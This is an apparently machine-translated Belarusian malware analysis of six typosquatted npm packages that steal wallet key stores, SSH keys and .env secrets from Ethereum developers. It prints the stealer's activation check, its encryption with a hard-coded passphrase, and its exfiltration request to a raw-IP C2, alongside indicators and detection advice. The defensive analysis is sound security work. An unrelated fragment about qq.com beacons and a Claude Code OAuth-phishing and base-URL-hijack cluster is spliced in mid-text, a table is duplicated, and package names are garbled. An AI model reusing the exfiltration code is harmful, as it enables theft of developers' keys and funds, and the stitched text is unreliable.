TL, д-р
6 мая 2026 года адзіны выдавец npm, namikazesarada010206распаўсюдзіў шэсць шкоднасных пакетаў, накіраваных на экасістэму распрацоўшчыкаў Ethereum, Solidity і DeFi.
Пакеты, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, і web3-utils-core, выкарыстоўвалі праўдападобныя назвы, распрацаваныя так, каб выглядаць як дапаможныя бібліятэкі для папулярных інструментаў Web3.
Усе шэсць пакетаў утрымлівалі аднолькавае telemetry.js файл. Файл быў ідэнтычны па байтах ва ўсім кластары з выкарыстаннем SHA-256:
Шкоднаснае праграмнае забеспячэнне не запускаецца падчас усталёўкі. Няма preinstall or postinstall кручок. Замест гэтага ён актывуецца, калі пакет імпартуецца праз require().
Гэтая дэталь мае значэнне.
Імплант чакае, пакуль распрацоўшчык фактычна выкарыстае пакет. Затым ён правярае, ці выглядае працоўная станцыя як рэальнае асяроддзе распрацоўкі Ethereum / Solidity. Ён шукае ключы Alchemy або Infura, прыватныя ключы, мнемоніку, ключы разгортвання або лакальны каталог Foundry.
Калі хост супадае, крадзеж збірае прыватныя ключы SSH, сховішчы ключоў кашалькоў Foundry / Geth / Brownie, .env* файлы і канфідэнцыйныя зменныя асяроддзя. Ён шыфруе пакет з дапамогай AES-256-GCM з выкарыстаннем жорстка закадаванай парольнай фразы і перасылае яго на неапрацаваную канчатковую кропку IPv4 C2 з адключанай праверкай TLS.
Сістэма ранняга папярэджання аб шкоднасных праграмах (MEW) кампаніі Xygeni пацвердзіла, што ўсе шэсць пакетаў шкоднасныя. Пакет справаздач аб выдаленні з рэестра npm чакае распрацоўкі.
Кластар: шэсць пакетаў, адзін выдавец
Уліковы запіс выдаўца namikazesarada010206 быў звязаны з неправераным адрасам Gmail namikazesarada010206@gmail.com.
Кампанія з'явілася ў выглядзе аднадзённага публікацыйнага выбуху 6 мая 2026 года. Усе шэсць пакетаў былі версійны як 1.0.0, не меў ніводнай залежнасці ад асяроддзя выканання і пастаўляў толькі тры файлы:
package.json index.js telemetry.js Яны таксама абвясцілі той жа рэпазітар зыходнага кода:
https://github.com/harunosakura030303-maker/evmchain-config Першыя тры пакеты былі выяўлены сканерамі MEW пры першай публікацыі. Астатнія тры былі прымусова пазначаны пасля праверкі npm-профіля выдаўца аналітыкамі. Пасля таго, як яны былі ідэнтычнымі па байтах telemetry.js было пацверджана па ўсім кластары, яны былі закрытыя як шкоднасныя з-за паслядоўнасці.
| пакет | версія | Апублікавана npm | Білет MEW | Вердыкт |
|---|---|---|---|---|
| viema-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Зламысны |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Зламысны |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Зламысны |
| evm-утыліты | 1.0.0 | 2026-05-06 | #51069 | Зламысны па паслядоўнасці |
| foundry-utils | 1.0.0 | 2026-05-06 | #51071 | Зламысны па паслядоўнасці |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Зламысны па паслядоўнасці |
Стратэгія наймення простая, але эфектыўная.
Гэтыя пакеты не выдаюць сябе за дакладныя назвы праграмнага забеспячэння. Замест гэтага яны выкарыстоўваюць праўдападобныя суфіксы «ўтыліт», такія як -core, -utils, і -utils-coreГэта робіць іх падобнымі на суправаджальныя бібліятэкі, якія распрацоўшчык мог бы чакаць убачыць побач з інструментамі Web3.
| Шкоднасны пакет | Законная мэта |
|---|---|
| viema-core | viem, папулярны кліент TypeScript для Ethereum |
| viem-utils-core | В'ем |
| hardhat-core-utils | hardhat, асноўнае асяроддзе распрацоўкі Solidity |
| evm-утыліты | Агульная прастора імёнаў інструментаў EVM |
| foundry-utils | ліцейны завод, набор інструментаў Solidity |
| web3-utils-core | web3-utils, памочнікі Web3.js |
Гэта шаблон «дадатковага пакета»: не «Я — сапраўдны пакет», а «Я выглядаю як разумны памочнік вакол сапраўднага пакета».
Для распрацоўшчыкаў DeFi, якія хутка рухаюцца наперад, гэтага дастаткова, каб стварыць рызыку.
Што адбываецца пры імпарты пакета
Ланцужок атак невялікі, мэтанакіраваны і сканцэнтраваны на асяроддзі распрацоўкі крыптавалют.
Няма ніякага кручка для ўстаноўкі. Замест гэтага кожны пакет уключае index.js які экспартуе функцыянальнасць заглушкі, а затым загружае модуль шкоднаснай тэлеметрыі.
require('./telemetry').init(); Гэта азначае, што шкоднаснае праграмнае забеспячэнне актывуецца пры першым імпарце.
Гэта карысна для зламысніка з пункту гледжання аперацыйнай сістэмы. Многія сканеры і пясочніцы сканцэнтраваны на паводзінах падчас усталёўкі. Гэты пакет чакае, пакуль ён фактычна не будзе выкарыстаны распрацоўшчыкам, скрыптом зборкі, наборам тэстаў або шляхам выканання.
Брама актывацыі: спрацоўвае толькі на рэальных працоўных станцыях распрацоўшчыка Web3
Найважнейшай часткай імплантата з'яўляецца актывацыйная засаўка.
Шкоднаснае праграмнае забеспячэнне правярае зменныя асяроддзя, якія звычайна сустракаюцца на машынах распрацоўшчыкаў Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Таксама правяраецца, ці ўсталяваны Foundry:
fs.existsSync(path.join(os.homedir(), '.foundry')) Калі ніводная з умоў не праўдзівая, функцыя вяртае значэнне і нічога не робіць.
Гэта робіць пакет больш ціхім у агульных асяроддзях аналізу. Пясочніца без ключоў Foundry, Alchemy, Infura, прыватных ключоў або мнемонікі можа выглядаць бяскрыўдным.
На адпаведным хасце шкоднаснае праграмнае забеспячэнне чакае ад 60 да 90 секунд перад зборам:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Затрымка памяншае відавочную карэляцыю паміж імпартам і вывазам. .unref() выклік таксама дазваляе працэсу гаспадара нармальна завяршыць працу, калі пакет быў імпартаваны ў кароткачасовым скрыпце.
Гэта не шумная паводзіна тыпу "разбі і захапі". Гэта мэтанакіраваны крадзеж, прызначаны для таго, каб пазбегнуць запуску, калі асяроддзе распрацоўшчыка не варта красці з яго.
Што збірае злодзей
Пасля праходжання этапу актывацыі шкоднаснае праграмнае забеспячэнне пачынае збіраць дадзеныя з найбольш важных для распрацоўкі Web3 крыніц: закрытых ключоў, сховішчаў ключоў кашалькоў, уліковых дадзеных для разгортвання, сакрэтаў воблака, токенаў npm і лакальнай канфігурацыі праекта.
| Source | Што збіраецца |
|---|---|
| process.env | Любая зменная, якая адпавядае /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Файлы, якія змяшчаюць PRIVATE KEY або BEGIN OPENSSH, у тым ліку поўны змест файла |
| ~/.foundry/keystores/* | Файлы сховішча ключоў кашалька Foundry |
| ~/.ethereum/keystore/* | Файлы сховішча ключоў кашалька Geth |
| ~/.brownie/accounts/* | Файлы сховішча ключоў кашалька Brownie |
| ${cwd}/.env | Поўны змест файла |
| ${cwd}/.env.local | Поўны змест файла |
| ${cwd}/.env.production | Поўны змест файла |
| ${cwd}/.env.development | Поўны змест файла |
| os.імя_хаста() | Метададзеныя хоста |
| crypto.randomUUID() | Ідэнтыфікатар ахвяры/сесіі |
| Дата.зараз() | Часовая метка збору |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com Токены ATTA:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Нам не ўдалося пацвердзіць, ці была тэлеметрыя ўласнай аналітыкай аператара, ці асобна манетызаваным каналам. Токены ATTA аднолькавыя ў абодвух правераных намі выбарках.
Кластар B: heibai
claude.hk Фішынг OAuth + захоп ANTHROPIC_BASE_URL
Узор ад 1 красавіка — гэта больш грубая, ранняя частка кампаніі.
heibai:2.1.88-claude.hk-4 быў апублікаваны wuguoqiangvip28, уліковы запіс, створаны 7 чэрвеня 2025 года. Пакет відавочна выкарыстоўваў версіі, якія адпавядаюць законным 2.1.88 Антрапнае вызваленне.
Ён не мае дачынення да CA-cert MITM. Замест гэтага ён хлусіць карыстальніку пра канчатковую кропку OAuth.
Шкоднасныя дапаўненні, якія дадаліся да ўцечкі зыходнага кода Claude Code, уключаюць:
| Source | Што збіраецца |
|---|---|
| process.env | Любая зменная, якая адпавядае /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Файлы, якія змяшчаюць PRIVATE KEY або BEGIN OPENSSH, у тым ліку поўны змест файла |
| ~/.foundry/keystores/* | Файлы сховішча ключоў кашалька Foundry |
| ~/.ethereum/keystore/* | Файлы сховішча ключоў кашалька Geth |
| ~/.brownie/accounts/* | Файлы сховішча ключоў кашалька Brownie |
| ${cwd}/.env | Поўны змест файла |
| ${cwd}/.env.local | Поўны змест файла |
| ${cwd}/.env.production | Поўны змест файла |
| ${cwd}/.env.development | Поўны змест файла |
| os.імя_хаста() | Метададзеныя хоста |
| crypto.randomUUID() | Ідэнтыфікатар ахвяры/сесіі |
| Дата.зараз() | Часовая метка збору |
Спіс мэтаў вельмі спецыфічны. Гэта не агульная крадзеж браўзера або шырокае выкраданне ўліковых дадзеных. Ён накіраваны на распрацоўшчыкаў, якія ствараюць, тэстуюць, разгортваюць або кіруюць праграмамі Ethereum.
Уключэнне сховішчаў ключоў Foundry, Geth і Brownie асабліва важна. Гэтыя файлы могуць прадстаўляць прамы доступ да кашалькоў або ідэнтыфікатараў разгортвання. Калі зламыснік зможа спалучыць іх з паролямі, мнемонікай або сакрэтамі асяроддзя, ён можа пераводзіць сродкі, выдаваць сябе за разгортвальнікі або кампраметаваць аперацыі смарт-кантрактаў.
Шыфраванне перад вывазам
Шкоднаснае праграмнае забеспячэнне шыфруе сабраныя дадзеныя перад адпраўкай.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Жорстка закадаваны пароль:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Канчатковая карысная нагрузка абгортваецца ў JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Шыфраванне само па сабе не робіць шкоднаснае праграмнае забеспячэнне больш прасунутым. Аднак яно ўскладняе праверку сеткі. Абаронца, які назірае за выхадам, убачыць карысную нагрузку JSON, але не скрадзеныя ключы, файлы кашалька або .env змесціва без жорстка закадаванай парольнай фразы і логікі расшыфроўкі.
Эксфільтрацыя ў сыры IPv4 C2
Шлях эксфільтрацыі жорстка закадзіраваны:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Шкоднаснае праграмнае забеспячэнне адпраўляе дадзеныя на:
https://76.13.37.80:8443/api/v1/telemetry Вылучаюцца дзве дэталі.
Па-першае, C2 — гэта неапрацаваны IPv4-адрас, а не дамен. Гэта ліквідуе неабходнасць рэгістрацыі дамена і дазваляе пазбегнуць некаторых выяўленняў на аснове дамена.
Па-другое, праверка TLS адключаецца з дапамогай:
rejectUnauthorized: false Гэта дазваляе шкоднаснай праграме прымаць любыя сертыфікаты, у тым ліку самападпісаныя. Іншымі словамі, зламыснік атрымлівае зашыфраваны транспарт без неабходнасці наяўнасці дзеючага публічнага сертыфіката.
Няма логікі паўторных спроб і няма рэзервовага хоста. Памылкі фіксуюцца ціха. Гэта дазваляе пакету заставацца ціхім, калі C2 адключаны ад сеткі або недаступны.
Чаму гэтая кампанія важная
Большасць шкоднасных npm-пакетаў, накіраваных на распрацоўшчыкаў, імкнуцца атрымаць шырокія ўліковыя дадзеныя: npm-токены, ключы AWS, токены GitHub або... .npmrc файлы.
Гэтая кампанія звужае мэту.
Ён шукае прыкметы таго, што машына належыць распрацоўшчыку Ethereum або Solidity. Затым ён выцягвае менавіта тыя рэсурсы, якія маюць значэнне ў гэтым асяроддзі: сховішчы ключоў кашалькоў, прыватныя ключы, мнемоніку, ключы разгортвання, .env файлы і ключы SSH.
Гэта робіць кампанію больш небяспечнай для каманд Web3, чым звычайны npm-стэйлер.
Паспяховае заражэнне можа выкрыць:
- Кашалькі для разгортвання
- Ключы адміністратара смарт-кантракту
- Ключы пастаўшчыка RPC
- Уліковыя дадзеныя для разгортвання ў воблаку
- публікацыйныя токены npm
- SSH-доступ да інфраструктуры распрацоўшчыка або зборкі
- Сакрэты праекта захоўваюцца ў
.envфайлы - Сховішчы ключоў кашалькоў для Foundry, Geth або Brownie
Назвы пакетаў таксама сведчаць пра відавочную сацыяльную інжынерыю. Яны накіраваны на экасістэму распрацоўшчыкаў Web3 праз знаёмыя назвы інструментаў: viem, hardhat, foundry, evm, і web3.
Акцёру не трэба кампрамісаваць з рэальнымі праектамі. Ім патрэбен толькі распрацоўшчык, які ўсталюе, здаецца, разумны суправаджальны пакет.
Паказчыкі кампраметацыі і выяўлення
| Пакеты і выдавец | |
|---|---|
| Поле | значэнне |
| выдавец npm | наміказесарада010206 |
| Электронная пошта выдаўца | namikazesarada010206@gmail.com |
| Email verified | няма |
| SCM правераны | няма |
| Ацэнка рэпутацыі | 1.0 |
| Пакеты | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, ліцейны-utils, web3-utils-core |
| версіі | Усе 1.0.0 |
| Рэпазітар зыходнага кода | https://github.com/harunosakura030303-maker/evmchain-config |
| Пацверджана шкоднаснае | Усе шэсць пакетаў |
| сетка | |
|---|---|
| тып | значэнне |
| Канчатковая кропка C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Порт C2 | 8443/tcp |
| Паводзіны TLS | адхіліцьНесанкцыянаванае: false |
| Схема карыснай нагрузкі | {"v":2,"iv": "д": ,"т": } |
| Файлы і хэшы | |
|---|---|
| тып | значэнне |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Макет упакоўкі | package.json, index.js, telemetry.js |
| Колькасць файлаў | 3 |
| Прыблізны агульны памер | 3.4 KB |
Сігналы актывацыі
Шкоднаснае праграмнае забеспячэнне правярае наступныя зменныя асяроддзя:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Таксама правяраецца:
~/.foundry/ Мэтавыя шляхі хаста
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Калекцыя рэгулярных выразаў
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Заўвагі па выяўленні
Некалькі правілаў ахопліваюць гэтую кампанію без неабходнасці поўнага паводніцкага аналізу.
Спачатку праскануйце файлы блакіроўкі на наяўнасць шасці назваў шкоднасных пакетаў:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Любы матч у package-lock.json, yarn.lock, pnpm-lock.yamlабо node_modules да гісторыі трэба ставіцца як да сур'ёзнай падзеі.
Па-другое, сачыце за працэсамі Node.js, якія чытаюць шляхі сховішча ключоў кашалька:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Гэта рэдка бывае законным для пакета, імпартаванага ў якасці дапаможнай залежнасці. Гэта асабліва падазрона, калі за ім ідзе выходная сеткавая актыўнасць.
Па-трэцяе, блакуйце або папярэджвайце пра HTTPS-злучэнні, каб:
76.13.37.80:8443 Асабліва, калі шлях запыту такі:
/api/v1/telemetry Па-чацвёртае, знайдзіце npm-пакеты, якія спалучаюць наступныя рысы:
- Новы або нізкарэпутацыйны выдавец
- Неправераны ўліковы запіс Gmail
- Назва пакета, сумежнага з Web3
- Няма значнай гісторыі рэпазітара
- Мініяцюрная макетка ўпакоўкі
index.jsякі загружае тэлеметрычны або дапаможны файл- Няма залежнасцей ад асяроддзя выканання
- Калекцыя адчувальных зменных асяроддзя
- Доступ да сховішча ключоў кашалька
Гэты шаблон больш карысны, чым адзін IOC, бо наступны пакет можа змяніць IP-адрас, але захаваць тую ж логіку таргетынгу.
Кантрольны спіс рэагавання на кампраміс
Калі распрацоўшчык выкарыстаў адзін з шасці пакетаў, і яго асяроддзе адпавядала браме актывацыі, рабочая станцыя павінна лічыцца ўзламанай.
Гэта ўключае машыны з усталяваным Foundry, ключамі Alchemy або Infura ў асяроддзі, прыватнымі ключамі, мнемонікай або ключамі разгортвання.
Рэкамендаваны адказ:
- Адключыце хост ад сеткі.
- Захаваць
node_modules, файлы блакіроўкі, гісторыя абалонкі і адпаведныя журналы для экспертызы. - Змяняйце кожную пару ключоў SSH пад
~/.ssh/. - Змяняйце ключы кашалька для кожнага сховішча ключоў пад
~/.foundry,~/.ethereum, і~/.brownie. - Пераводзьце сродкі на новыя кашалькі.
- Перавярніце кожны сакрэт, які захоўваецца ў
.env*файлы ў рэпазіторыях, у якіх працаваў распрацоўшчык. - Змяняць сакрэты асяроддзя ў адпаведнасці з рэгулярным выразам калекцыі, у тым ліку ключы AWS, токены npm, токены разгортвання, ключы API, прыватныя ключы, пачатковыя значэнні і мнемонікі.
- Аўдыт воблака, npm, GitHub, пастаўшчыка RPC і блокчейна з моманту першай усталёўкі пакета.
- Перад паўторным выкарыстаннем перастварыце вобраз працоўнай станцыі.
Што павінны забраць абаронцы
Гэтая кампанія паказвае, як тыпасквотынг у npm развіваецца вакол высокакаштоўных экасістэм распрацоўшчыкаў.
Акцёру не патрэбна была настойлівасць. Ім не патрэбна была абфускацыя. Ім нават не патрэбна было выкананне падчас усталёўкі.
Замест гэтага яны абапіраліся на тры рэчы:
- Верагодныя назвы пакетаў Web3
- Актывацыя толькі на рэальных машынах для распрацоўкі крыптавалют
- Прамое крадзеж файлаў і сакрэтаў, якія найбольш важныя для распрацоўшчыкаў Ethereum
З-за гэтага кампанію лёгка прапусціць пры шырокім аглядзе і зрабіць небяспечнай, калі яна трапляе ў патрэбнае асяроддзе.
Для каманд Web3 урок відавочны: разглядайце назвы залежнасцей як частку сваёй мадэлі пагроз. Пакет, які выглядае як бяскрыўдны памочнік, усё роўна можа стаць найкарацейшым шляхам да кампраметацыі кашалька.
Паведамленне пададзена ў рэестр npm. Мы абновім гэты пост, калі ўліковы запіс выдаўца і пакеты будуць выдалены.




